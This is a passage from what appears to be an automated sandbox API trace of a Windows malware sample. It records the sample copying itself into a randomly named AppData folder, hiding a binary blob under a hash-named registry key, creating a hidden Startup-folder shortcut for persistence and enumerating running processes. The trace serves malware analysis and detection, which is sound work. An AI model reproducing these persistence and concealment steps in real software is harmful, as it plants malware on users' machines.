lpOverlapped=0x0 | out: lpBuffer=0x8832860*, lpNumberOfBytesRead=0x4ceebb4*=0x2c000, lpOverlapped=0x0) returned 1 [0102.570] CloseHandle (hObject=0x67c) returned 1 [0102.570] CreateFileW (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Utobyg\\aslim.exe" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\utobyg\\aslim.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x67c [0102.570] WriteFile (in: hFile=0x67c, lpBuffer=0x8832860*, nNumberOfBytesToWrite=0x2c000, lpNumberOfBytesWritten=0x4ceeba4, lpOverlapped=0x0 | out: lpBuffer=0x8832860*, lpNumberOfBytesWritten=0x4ceeba4*=0x2c000, lpOverlapped=0x0) returned 1 [0102.572] CloseHandle (hObject=0x67c) returned 1 [0102.573] DeleteFileW (lpFileName="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\BN649B.tmp" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\bn649b.tmp")) returned 1 [0102.574] CryptAcquireContextW (in: phProv=0x4cee018, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x4cee018*=0x46e5450) returned 1 [0102.574] CryptCreateHash (in: hProv=0x46e5450, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x4cee010 | out: phHash=0x4cee010) returned 1 [0102.574] CryptHashData (hHash=0x2b8ad90, pbData=0x4ceeafa, dwDataLen=0x102, dwFlags=0x0) returned 1 [0102.574] CryptGetHashParam (in: hHash=0x2b8ad90, dwParam=0x2, pbData=0x4cee0c0, pdwDataLen=0x4cee00c, dwFlags=0x0 | out: pbData=0x4cee0c0, pdwDataLen=0x4cee00c) returned 1 [0102.575] CryptDestroyHash (hHash=0x2b8ad90) returned 1 [0102.575] CryptReleaseContext (hProv=0x46e5450, dwFlags=0x0) returned 1 [0102.575] wvnsprintfA (in: pszDest=0x4cee516, cchDest=10, pszFmt="%x%x%x%x%x%x", arglist=0x4cee088 | out: pszDest="aaf4e053c") returned -1 [0102.575] wvnsprintfA (in: pszDest=0x4cee50c, cchDest=10, pszFmt="%x%x%x%x%x%x%x", arglist=0x4cee088 | out: pszDest="1dc1e28ae") returned -1 [0102.575] wvnsprintfA (in: pszDest=0x4cee3e0, cchDest=260, pszFmt="Software\\Microsoft\\%s", arglist=0x4cee118 | out: pszDest="Software\\Microsoft\\aaf4e053c") returned 28 [0102.575] RegCreateKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\aaf4e053c", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x3, lpSecurityAttributes=0x0, phkResult=0x4cee3d8, lpdwDisposition=0x0 | out: phkResult=0x4cee3d8*=0x67c, lpdwDisposition=0x0) returned 0x0 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.575] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.576] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b46 [0102.577] GetTickCount () returned 0x20b55 [0102.577] GetTickCount () returned 0x20b55 [0102.577] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] GetTickCount () returned 0x20b55 [0102.578] RegSetValueExA (in: hKey=0x67c, lpValueName="1dc1e28ae", Reserved=0x0, dwType=0x3, lpData=0x87fec30*, cbData=0x1140 | out: lpData=0x87fec30*) returned 0x0 [0102.579] RegCloseKey (hKey=0x67c) returned 0x0 [0102.579] StringFromGUID2 (in: rguid=0x4ceec48*(Data1=0x7f403185, Data2=0x826f, Data3=0xc570, Data4=([0]=0x65, [1]=0xd9, [2]=0xfe, [3]=0x61, [4]=0xa0, [5]=0x41, [6]=0x77, [7]=0x68)), lpsz=0x4cef6d0, cchMax=40 | out: lpsz="{7F403185-826F-C570-65D9-FE61A0417768}") returned 39 [0102.579] CreateEventW (lpEventAttributes=0x2c72b60, bManualReset=1, bInitialState=0, lpName="{7F403185-826F-C570-65D9-FE61A0417768}") returned 0x67c [0102.579] StringFromGUID2 (in: rguid=0x4ceec48*(Data1=0xe443186, Data2=0x826c, Data3=0xb474, Data4=([0]=0x65, [1]=0xd9, [2]=0xfe, [3]=0x61, [4]=0xa0, [5]=0x41, [6]=0x77, [7]=0x68)), lpsz=0x4cef6d0, cchMax=40 | out: lpsz="{0E443186-826C-B474-65D9-FE61A0417768}") returned 39 [0102.579] CreateEventW (lpEventAttributes=0x2c72b60, bManualReset=1, bInitialState=0, lpName="{0E443186-826C-B474-65D9-FE61A0417768}") returned 0xa30 [0102.579] StringFromGUID2 (in: rguid=0x4ceec48*(Data1=0x1542aa65, Data2=0x198f, Data3=0xaf72, Data4=([0]=0x65, [1]=0xd9, [2]=0xfe, [3]=0x61, [4]=0xa0, [5]=0x41, [6]=0x77, [7]=0x68)), lpsz=0x4cef6d0, cchMax=40 | out: lpsz="{1542AA65-198F-AF72-65D9-FE61A0417768}") returned 39 [0102.579] CreateEventW (lpEventAttributes=0x2c72b60, bManualReset=1, bInitialState=0, lpName="{1542AA65-198F-AF72-65D9-FE61A0417768}") returned 0xa44 [0102.579] StringFromGUID2 (in: rguid=0x4ceec48*(Data1=0x54c31197, Data2=0xa27d, Data3=0xeef3, Data4=([0]=0x65, [1]=0xd9, [2]=0xfe, [3]=0x61, [4]=0xa0, [5]=0x41, [6]=0x77, [7]=0x68)), lpsz=0x4cef6d0, cchMax=40 | out: lpsz="{54C31197-A27D-EEF3-65D9-FE61A0417768}") returned 39 [0102.579] CreateEventW (lpEventAttributes=0x2c72b60, bManualReset=1, bInitialState=0, lpName="{54C31197-A27D-EEF3-65D9-FE61A0417768}") returned 0x49c [0102.580] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x4cef600 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0102.580] PathAddBackslashW (in: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\") returned="" [0102.580] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4cef594, cbMultiByte=16, lpWideCharStr=0x4cef650, cchWideChar=220 | out: lpWideCharStr="Utobyg\\aslim.exe攮數") returned 16 [0102.580] SHGetFolderPathW (in: hwnd=0x0, csidl=7, hToken=0x0, dwFlags=0x0, pszPath=0x4cef110 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 0x0 [0102.580] wvnsprintfW (in: pszDest=0x4ceef00, cchDest=260, pszFmt="%s\\%s.lnk", arglist=0x4ceeee8 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\start.lnk") returned 95 [0102.580] CoInitialize (pvReserved=0x0) returned 0x0 [0102.580] CoCreateInstance (in: rclsid=0x2c6e098*(Data1=0x21401, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x2c68710*(Data1=0x214f9, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x4ceee80 | out: ppv=0x4ceee80*=0x45dc500) returned 0x0 [0102.580] PathRemoveFileSpecW (in: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Utobyg\\aslim.exe" | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Utobyg") returned 1 [0102.580] ShellLink:IShellLinkW:SetPath (This=0x45dc500, pszFile="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Utobyg\\aslim.exe") returned 0x0 [0102.586] ShellLink:IShellLinkW:SetWorkingDirectory (This=0x45dc500, pszDir="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Utobyg") returned 0x0 [0102.586] ShellLink:IShellLinkW:SetShowCmd (This=0x45dc500, iShowCmd=0) returned 0x0 [0102.586] ShellLink:IUnknown:QueryInterface (in: This=0x45dc500, riid=0x2c6e0a8*(Data1=0x10b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4ceee78 | out: ppvObject=0x4ceee78*=0x45dc518) returned 0x0 [0102.586] IPersistFile:Save (This=0x45dc518, pszFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\start.lnk", fRemember=1) returned 0x0 [0102.591] CoUninitialize () [0102.591] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4a4 [0102.604] Process32FirstW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0102.604] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0102.605] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0102.606] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0102.607] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0102.607] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0102.608] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0102.609] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0102.610] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0102.611] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0102.612] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.612] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.613] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.614] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.615] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.615] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0102.616] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.617] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.618] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0102.618] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.619] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0102.620] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0102.621] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0102.622] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0102.622] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0102.623] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0102.624] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0102.630] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0102.630] Process32NextW (in: hSnapshot=0x4a4, lppe=0x4cef530 | out: lppe=0x4cef530*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, 